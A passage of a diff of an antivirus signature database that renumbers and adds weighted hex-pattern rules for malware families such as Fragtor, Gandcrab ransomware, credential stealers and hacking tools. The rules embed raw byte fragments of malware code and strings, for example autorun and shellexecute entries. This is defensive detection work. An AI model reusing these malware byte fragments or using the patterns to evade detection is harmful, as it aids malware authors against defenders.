ba 90 00 0a 00 3b 01 c6 85 ec fd ff ff 2d 8b 85 f0 fd ff ff 2d 46 78 33 7f } //0 + $a_f8_7 = {ff ff 52 89 95 e4 fd ff ff 8d 85 f8 fe ff ff 50 89 8d ec fd ff ff 8b 8d e4 fd ff ff 33 ca 89 8d e4 fd ff ff 00 00 78 a2 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 61 67 74 6f 72 2e 4c 4d 41 21 4d 54 42 00 14 00 38 01 8b c6 c1 e0 0d 33 c6 8b c8 c1 e9 11 33 c8 b8 7d 0c ce c7 8b f1 c1 e6 05 33 f1 f7 e6 8b ce c1 ea 0e 69 c2 00 52 00 00 2b c8 81 c1 00 4e 00 00 66 89 4c 7d c0 47 83 ff 10 0a 00 37 01 03 c3 } //-29360 + $a_8b_8 = {1c 0f af 55 0c 03 fa 8b 14 b8 8b c2 8b 7d 08 c1 } //30199 + $a_b6_9 = {0f b6 c2 03 c8 8b c2 c1 e0 10 33 c2 8b 54 24 } //2280 condition: - ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*14413+(#a_a2_4 & 1)*0+(#a_00_5 & 1)*10+(#a_a2_6 & 1)*0+(#a_6c_7 & 1)*26739+(#a_3a_8 & 1)*28001+(#a_4b_9 & 1)*26223+(#a_65_10 & 1)*27759) >=20 + ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*14413+(#a_a2_4 & 1)*0+(#a_00_5 & 1)*10+(#a_a2_6 & 1)*0+(#a_f8_7 & 1)*-29360+(#a_8b_8 & 1)*30199+(#a_b6_9 & 1)*2280) >=20 } -rule _InfrastructureShared_11241{ +rule _InfrastructureShared_11966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 34 36 39 21 4d 54 42 00 01 00 08 00 47 65 74 50 69 78 65 6c 01 00 07 80 01 54 6f 57 69 6e 33 32 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 00 53 75 73 70 65 } //18467 - $a_61_1 = {6f 75 74 0a 00 0c 02 20 00 4c 00 00 8d 90 01 04 0c 90 00 0a 00 25 00 24 64 32 38 35 37 36 33 65 2d 64 66 37 61 2d 34 39 34 37 2d 38 37 33 64 2d 36 66 64 38 65 34 64 63 61 37 66 30 00 00 78 a2 00 00 1f 00 1f 00 06 00 21 23 48 53 } //25710 - $a_54_2 = {6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 44 65 6c 66 2e 43 4b 00 0a 00 09 00 5b 61 75 74 6f 72 75 6e 5d 0a 00 0b 00 61 75 74 6f 72 75 6e 2e 69 6e 66 0a 00 1b 00 } //21076 - $a_54_3 = {41 52 45 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 5c 52 54 4c 01 00 0b 00 57 69 6e 33 32 2e 41 6e 67 65 6e 01 00 16 02 73 68 65 6c 6c 65 78 65 63 75 74 65 3d 90 02 08 2e 65 78 65 90 00 01 00 0f 00 5c 73 76 } //20307 - $a_73_4 = {2e 65 78 65 20 2f 69 00 00 78 a2 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 6e 6f 74 43 72 79 70 74 2e 41 21 64 68 61 00 64 00 1f 01 55 73 65 3a 20 3c 50 61 72 61 6d 31 3a 69 6e 3e 20 5b 3c 50 61 72 61 6d 32 3a 6f 75 74 3e 5d 64 00 2d 01 50 61 72 61 6d 31 3a 20 46 6f 6c 64 65 } //26723 - $a_72_5 = {46 69 6c 65 20 50 61 74 68 20 6f 66 20 4b 65 79 53 63 72 65 65 6e 20 44 61 74 61 64 00 1a 01 50 61 72 61 6d 32 3a 20 4f 75 74 70 75 74 20 46 6f 6c 64 65 72 20 50 61 74 68 00 00 78 a2 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 69 73 74 4d 69 6e 65 2e 42 21 64 68 61 00 64 00 30 } //8306 + $a_61_1 = {6f 75 74 0a 00 0c 02 20 00 4c 00 00 8d 90 01 04 0c 90 00 0a 00 25 00 24 64 32 38 35 37 36 33 65 2d 64 66 37 61 2d 34 39 34 37 2d 38 37 33 64 2d 36 66 64 38 65 34 64 63 61 37 66 30 00 00 78 a2 00 00 19 00 19 00 02 00 21 23 54 45 } //25710 + $a_72_2 = {6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 65 72 2e 4c 4d 45 21 4d 54 42 00 0f 00 34 03 89 45 e0 8b 45 f0 33 05 90 01 04 89 45 f0 c7 45 e8 2e 44 58 7c 8b 4d fc 81 c1 23 8c 15 95 51 8b 45 fc 05 39 8c 15 95 50 c6 45 f8 b7 81 c9 24 da b1 ba 90 00 0a 00 } //14924 + $a_85_3 = {fd ff ff 2d 8b 85 f0 fd ff ff 2d 46 78 33 7f 50 8d 95 f8 fd ff ff 52 89 95 e4 fd ff ff 8d 85 f8 fe ff ff 50 89 8d ec fd ff ff 8b 8d e4 fd ff ff 33 ca 89 8d e4 fd ff ff 00 00 78 a2 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 61 67 74 6f 72 2e 4c 4d 41 21 4d 54 42 00 14 00 38 01 8b c6 c1 e0 0d 33 c6 8b c8 c1 e9 11 33 c8 b8 7d 0c ce c7 8b f1 c1 e6 05 33 f1 f7 e6 8b ce c1 ea 0e 69 c2 00 52 00 00 2b c8 81 c1 00 4e 00 00 66 89 4c 7d c0 47 83 ff 10 0a 00 37 01 03 c3 f7 75 10 8b 45 1c 0f af 55 0c 03 fa 8b 14 b8 8b c2 8b 7d 08 c1 e8 08 0f b6 c8 0f b6 c2 } //315 + $a_c2_4 = {e0 10 33 c2 8b 54 24 14 25 00 00 ff 00 0b c8 8b 44 24 10 00 00 78 a2 00 00 1f 00 1f 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 44 65 6c 66 2e 43 4b 00 0a 00 09 00 5b 61 75 74 6f 72 75 6e 5d 0a 00 0b 00 61 75 74 6f 72 75 6e 2e 69 6e 66 0a 00 1b 00 53 4f 46 54 57 41 52 45 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 5c 52 54 4c 01 00 0b 00 57 69 6e 33 32 2e 41 6e 67 65 } //-14333 condition: - ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25710+(#a_54_2 & 1)*21076+(#a_54_3 & 1)*20307+(#a_73_4 & 1)*26723+(#a_72_5 & 1)*8306) >=24 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25710+(#a_72_2 & 1)*14924+(#a_85_3 & 1)*315+(#a_c2_4 & 1)*-14333) >=24 } -rule _InfrastructureShared_11242{ +rule _InfrastructureShared_11967{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 65 72 2e 4c 4d 45 21 4d 54 42 00 0f 00 34 03 89 45 e0 8b 45 f0 33 05 90 01 04 89 45 f0 c7 45 e8 2e 44 58 7c 8b 4d fc 81 c1 23 8c 15 95 51 8b 45 fc 05 39 } //21539 + $a_50_1 = {45 f8 b7 81 c9 24 da b1 ba 90 00 0a 00 3b 01 c6 85 ec fd ff ff 2d 8b 85 f0 fd ff ff 2d 46 78 33 7f 50 8d 95 f8 fd ff ff 52 89 95 e4 fd ff ff 8d 85 f8 fe ff ff 50 89 8d ec fd ff ff 8b 8d e4 fd ff ff 33 ca 89 8d e4 fd ff ff 00 00 78 a2 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 61 67 74 6f 72 2e 4c 4d 41 21 4d 54 42 00 14 00 38 01 8b c6 c1 e0 0d 33 c6 8b c8 c1 e9 11 33 c8 b8 7d 0c ce c7 8b f1 c1 e6 05 } //5516 + condition: + ((#a_4c_0 & 1)*21539+(#a_50_1 & 1)*5516) >=25 + +} +rule _InfrastructureShared_11968{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 61 67 74 6f 72 2e 4c 4d 41 21 4d 54 42 00 14 00 38 01 8b c6 c1 e0 0d 33 c6 8b c8 c1 e9 11 33 c8 b8 7d 0c ce c7 8b f1 c1 e6 05 33 f1 f7 e6 8b ce c1 ea 0e 69 c2 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=30 + +} +rule _InfrastructureShared_11969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 06 00 21 " @@ -123542,7 +131665,7 @@ rule _InfrastructureShared_11242{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*23657+(#a_54_2 & 1)*25441+(#a_00_3 & 1)*24948+(#a_6f_4 & 1)*26144+(#a_33_5 & 1)*26967) >=31 } -rule _InfrastructureShared_11243{ +rule _InfrastructureShared_11970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -123554,7 +131677,7 @@ rule _InfrastructureShared_11243{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*28001+(#a_70_2 & 1)*30031) >=300 } -rule _InfrastructureShared_11244{ +rule _InfrastructureShared_11971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -123566,7 +131689,7 @@ rule _InfrastructureShared_11244{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*8293+(#a_ff_2 & 1)*280) >=300 } -rule _InfrastructureShared_11245{ +rule _InfrastructureShared_11972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 04 00 21 " @@ -123579,7 +131702,7 @@ rule _InfrastructureShared_11245{ ((#a_77_0 & 1)*19491+(#a_01_1 & 1)*1+(#a_00_2 & 1)*0+(#a_0c_3 & 1)*-6144) >=100 } -rule _InfrastructureShared_11246{ +rule _InfrastructureShared_11973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffe8 03 0c 00 04 00 21 " @@ -123591,7 +131714,7 @@ rule _InfrastructureShared_11246{ ((#a_72_0 & 1)*22051+(#a_65_1 & 1)*27745+(#a_44_2 & 1)*24940) >=12 } -rule _InfrastructureShared_11247{ +rule _InfrastructureShared_11974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -123601,7 +131724,7 @@ rule _InfrastructureShared_11247{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11248{ +rule _InfrastructureShared_11975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -123611,7 +131734,7 @@ rule _InfrastructureShared_11248{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11249{ +rule _InfrastructureShared_11976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -123621,7 +131744,7 @@ rule _InfrastructureShared_11249{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11250{ +rule _InfrastructureShared_11977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -123631,7 +131754,7 @@ rule _InfrastructureShared_11250{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11251{ +rule _InfrastructureShared_11978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -123641,7 +131764,7 @@ rule _InfrastructureShared_11251{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11252{ +rule _InfrastructureShared_11979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -123651,7 +131774,7 @@ rule _InfrastructureShared_11252{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11253{ +rule _InfrastructureShared_11980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -123661,7 +131784,7 @@ rule _InfrastructureShared_11253{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11254{ +rule _InfrastructureShared_11981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -123671,7 +131794,7 @@ rule _InfrastructureShared_11254{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11255{ +rule _InfrastructureShared_11982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -123681,7 +131804,7 @@ rule _InfrastructureShared_11255{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11256{ +rule _InfrastructureShared_11983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -123691,7 +131814,7 @@ rule _InfrastructureShared_11256{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11257{ +rule _InfrastructureShared_11984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -123701,7 +131824,7 @@ rule _InfrastructureShared_11257{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11258{ +rule _InfrastructureShared_11985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -123711,7 +131834,7 @@ rule _InfrastructureShared_11258{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11259{ +rule _InfrastructureShared_11986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -123721,7 +131844,7 @@ rule _InfrastructureShared_11259{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_11260{ +rule _InfrastructureShared_11987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -123732,18 +131855,30 @@ rule _InfrastructureShared_11260{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*105) >=1 } -rule _InfrastructureShared_11261{ +rule _InfrastructureShared_11988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " strings : $a_4c_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 47 61 6e 64 63 72 61 62 2e 4b 59 21 4d 54 42 00 01 00 30 01 65 6b 61 64 6f 68 61 6a 65 64 75 6d 69 2e 20 59 61 62 65 64 61 20 73 65 79 65 72 75 78 69 20 79 65 68 6f 78 } //21539 - $a_2e_1 = {43 65 6b 61 6a 65 67 01 00 40 01 00 67 00 6f 00 72 00 6f 00 7a 00 6f 00 74 00 61 00 68 00 75 00 6a 00 61 00 6d 00 69 00 20 00 6a 00 75 00 72 00 75 00 6b 00 75 00 6b 00 69 00 79 00 69 00 70 00 75 00 63 00 61 00 6a 00 65 00 74 00 00 78 a3 00 00 01 00 01 00 04 00 21 23 48 53 54 52 3a 4e 69 76 64 6f 72 74 } //25705 + $a_2e_1 = {43 65 6b 61 6a 65 67 01 00 40 01 00 67 00 6f 00 72 00 6f 00 7a 00 6f 00 74 00 61 00 68 00 75 00 6a 00 61 00 6d 00 69 00 20 00 6a 00 75 00 72 00 75 00 6b 00 75 00 6b 00 69 00 79 00 69 00 70 00 75 00 63 00 61 00 6a 00 65 00 74 00 00 78 a3 00 00 01 00 01 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //25705 condition: ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*25705) >=1 } -rule _InfrastructureShared_11262{ +rule _InfrastructureShared_11989{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 67 61 72 53 70 6f 6f 6e 2e 45 21 64 68 61 00 01 00 22 80 01 44 3a 5c 44 61 74 61 5c 41 7a 75 72 65 5c 4c 6f 67 73 5c 56 4d 43 6f 6e 73 6f 6c 65 4f 75 74 70 75 74 01 00 22 80 01 63 6d } //16675 + $a_63_1 = {64 69 72 20 2f 73 20 2f 62 20 43 3a 5c 41 70 70 5c 6e 73 63 75 72 6c 2e 65 78 65 01 00 24 80 01 43 6f 75 6c 64 20 6e 6f 74 20 6c 6f 63 61 74 } //8292 + $a_73_2 = {75 72 6c 2e 65 78 65 20 6f 6e 20 64 69 73 6b 2e 00 00 78 a3 00 00 01 00 01 00 04 00 21 23 48 53 54 52 3a 4e 69 76 64 6f 72 74 2e 41 47 21 57 61 69 74 46 6f 72 53 69 6e 67 6c 65 4f 62 6a 65 63 74 00 01 00 1c 03 68 10 27 00 00 8b 90 01 02 8b 14 8d 90 02 10 ff 15 90 01 03 00 90 02 10 dd 05 90 00 01 00 1b 03 68 10 27 00 00 90 02 10 } //8293 + condition: + ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*8292+(#a_73_2 & 1)*8293) >=1 + +} +rule _InfrastructureShared_11990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -123756,7 +131891,7 @@ rule _InfrastructureShared_11262{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*400+(#a_90_2 & 1)*-3312+(#a_90_3 & 1)*-9968) >=1 } -rule _InfrastructureShared_11263{ +rule _InfrastructureShared_11991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -123768,7 +131903,7 @@ rule _InfrastructureShared_11263{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*4200+(#a_bf_2 & 1)*66) >=1 } -rule _InfrastructureShared_11264{ +rule _InfrastructureShared_11992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -123782,7 +131917,7 @@ rule _InfrastructureShared_11264{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-29751+(#a_00_2 & 1)*144+(#a_8b_3 & 1)*-29949+(#a_41_4 & 1)*8448) >=1 } -rule _InfrastructureShared_11265{ +rule _InfrastructureShared_11993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -123793,7 +131928,7 @@ rule _InfrastructureShared_11265{ ((#a_46_0 & 1)*16675+(#a_24_1 & 1)*-29880) >=2 } -rule _InfrastructureShared_11266{ +rule _InfrastructureShared_11994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -123804,7 +131939,7 @@ rule _InfrastructureShared_11266{ ((#a_46_0 & 1)*16675+(#a_19_1 & 1)*1) >=2 } -rule _InfrastructureShared_11267{ +rule _InfrastructureShared_11995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -123815,7 +131950,7 @@ rule _InfrastructureShared_11267{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*14637) >=2 } -rule _InfrastructureShared_11268{ +rule _InfrastructureShared_11996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -123826,7 +131961,7 @@ rule _InfrastructureShared_11268{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*111) >=2 } -rule _InfrastructureShared_11269{ +rule _InfrastructureShared_11997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -123837,7 +131972,7 @@ rule _InfrastructureShared_11269{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28596) >=2 } -rule _InfrastructureShared_11270{ +rule _InfrastructureShared_11998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -123847,7 +131982,7 @@ rule _InfrastructureShared_11270{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_11271{ +rule _InfrastructureShared_11999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -123858,7 +131993,7 @@ rule _InfrastructureShared_11271{ ((#a_54_0 & 1)*18467+(#a_59_1 & 1)*0) >=2 } -rule _InfrastructureShared_11272{ +rule _InfrastructureShared_12000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -123869,7 +132004,7 @@ rule _InfrastructureShared_11272{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*524) >=2 } -rule _InfrastructureShared_11273{ +rule _InfrastructureShared_12001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -123880,7 +132015,7 @@ rule _InfrastructureShared_11273{ ((#a_77_0 & 1)*19491+(#a_68_1 & 1)*27140) >=2 } -rule _InfrastructureShared_11274{ +rule _InfrastructureShared_12002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -123891,18 +132026,29 @@ rule _InfrastructureShared_11274{ ((#a_4c_0 & 1)*21539+(#a_ff_1 & 1)*524) >=2 } -rule _InfrastructureShared_11275{ +rule _InfrastructureShared_12003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 4a 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 65 78 70 6c 6f 72 65 72 5c 42 72 6f 77 73 65 72 20 48 65 6c 70 65 72 20 4f 62 6a 65 63 74 73 5c 01 00 2e 01 31 d2 f7 f1 4e 80 c2 30 } //25635 - $a_72_1 = {80 c2 07 88 16 09 c0 75 ea 59 5a 29 f1 29 ca 76 10 01 d1 b0 30 29 d6 eb 03 88 04 32 4a 75 fa 88 06 00 00 78 a3 00 00 02 00 02 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 } //-1408 + $a_72_1 = {80 c2 07 88 16 09 c0 75 ea 59 5a 29 f1 29 ca 76 10 01 d1 b0 30 29 d6 eb 03 88 04 32 4a 75 fa 88 06 00 00 78 a3 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a } //-1408 condition: ((#a_5f_0 & 1)*25635+(#a_72_1 & 1)*-1408) >=2 } -rule _InfrastructureShared_11276{ +rule _InfrastructureShared_12004{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 6f 6f 46 61 6e 67 2e 42 21 64 68 61 00 01 00 30 01 4d 00 53 00 5f 00 4f 00 66 00 66 00 69 00 63 00 65 00 5f 00 6c 00 6f 00 63 00 6b 00 65 00 72 00 5f 00 69 00 6d 00 61 00 67 00 65 00 5f } //16675 + $a_6d_2 = {73 } //8704 s + condition: + ((#a_46_0 & 1)*16675+(#a_6d_2 & 1)*8704) >=2 + +} +rule _InfrastructureShared_12005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -123915,7 +132061,7 @@ rule _InfrastructureShared_11276{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*11777+(#a_00_2 & 1)*97+(#a_04_3 & 1)*19595) >=2 } -rule _InfrastructureShared_11277{ +rule _InfrastructureShared_12006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -123928,7 +132074,7 @@ rule _InfrastructureShared_11277{ ((#a_54_0 & 1)*18467+(#a_8b_1 & 1)*287+(#a_6e_2 & 1)*28500+(#a_72_3 & 1)*25970) >=2 } -rule _InfrastructureShared_11278{ +rule _InfrastructureShared_12007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -123942,7 +132088,7 @@ rule _InfrastructureShared_11278{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*29264+(#a_64_2 & 1)*16686+(#a_0f_3 & 1)*29956+(#a_63_4 & 1)*12108) >=2 } -rule _InfrastructureShared_11279{ +rule _InfrastructureShared_12008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -123954,7 +132100,7 @@ rule _InfrastructureShared_11279{ ((#a_46_0 & 1)*16675+(#a_85_1 & 1)*25862+(#a_ba_2 & 1)*0) >=3 } -rule _InfrastructureShared_11280{ +rule _InfrastructureShared_12009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -123966,7 +132112,7 @@ rule _InfrastructureShared_11280{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*97+(#a_33_2 & 1)*26967) >=3 } -rule _InfrastructureShared_11281{ +rule _InfrastructureShared_12010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -123978,7 +132124,7 @@ rule _InfrastructureShared_11281{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*17801+(#a_70_2 & 1)*26468) >=3 } -rule _InfrastructureShared_11282{ +rule _InfrastructureShared_12011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -123990,7 +132136,7 @@ rule _InfrastructureShared_11282{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*22082+(#a_47_2 & 1)*28271) >=3 } -rule _InfrastructureShared_11283{ +rule _InfrastructureShared_12012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -124002,7 +132148,7 @@ rule _InfrastructureShared_11283{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*25934+(#a_00_2 & 1)*111) >=3 } -rule _InfrastructureShared_11284{ +rule _InfrastructureShared_12013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -124014,7 +132160,7 @@ rule _InfrastructureShared_11284{ ((#a_54_0 & 1)*18467+(#a_4f_1 & 1)*656+(#a_6b_2 & 1)*21619) >=3 } -rule _InfrastructureShared_11285{ +rule _InfrastructureShared_12014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -124026,7 +132172,7 @@ rule _InfrastructureShared_11285{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*105+(#a_3a_2 & 1)*25961) >=3 } -rule _InfrastructureShared_11286{ +rule _InfrastructureShared_12015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -124038,31 +132184,54 @@ rule _InfrastructureShared_11286{ ((#a_77_0 & 1)*19491+(#a_67_1 & 1)*28257+(#a_bd_2 & 1)*-25581) >=3 } -rule _InfrastructureShared_11287{ +rule _InfrastructureShared_12016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {56 69 72 54 6f 6f 6c 3a 57 69 6e 36 34 2f 44 6f 7a 6c 6f 64 7a 2e 43 21 4d 54 42 00 01 00 14 03 6b 00 65 00 48 8b f1 4c 89 7d 90 01 01 b9 13 9c bf bd 90 00 01 00 35 03 52 74 6c 41 c7 45 90 01 01 64 64 46 75 c7 45 90 01 01 6e 63 } //21283 $a_45_1 = {01 01 6f 6e 54 61 66 c7 90 01 02 62 6c e8 90 01 04 b9 b5 41 d9 5e 48 8b d8 e8 90 00 01 00 24 03 f3 0f 7f 04 24 46 8b 9c 90 01 01 88 90 01 03 45 85 db 74 90 01 01 48 8b 04 24 48 c1 e8 10 66 44 3b f0 90 00 00 00 78 a3 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 46 72 65 65 72 64 70 2e 43 21 4d 53 52 00 01 00 15 01 63 6f 6d 2e 77 69 6e 70 72 2e 63 6f 6d 6d 61 6e 64 6c 69 6e 65 01 00 32 01 6d 69 6e 6b 65 72 6e 65 6c 5c 63 72 74 73 5c 75 63 72 74 5c 69 6e 63 5c 63 6f 72 65 63 72 74 5f 69 6e 74 65 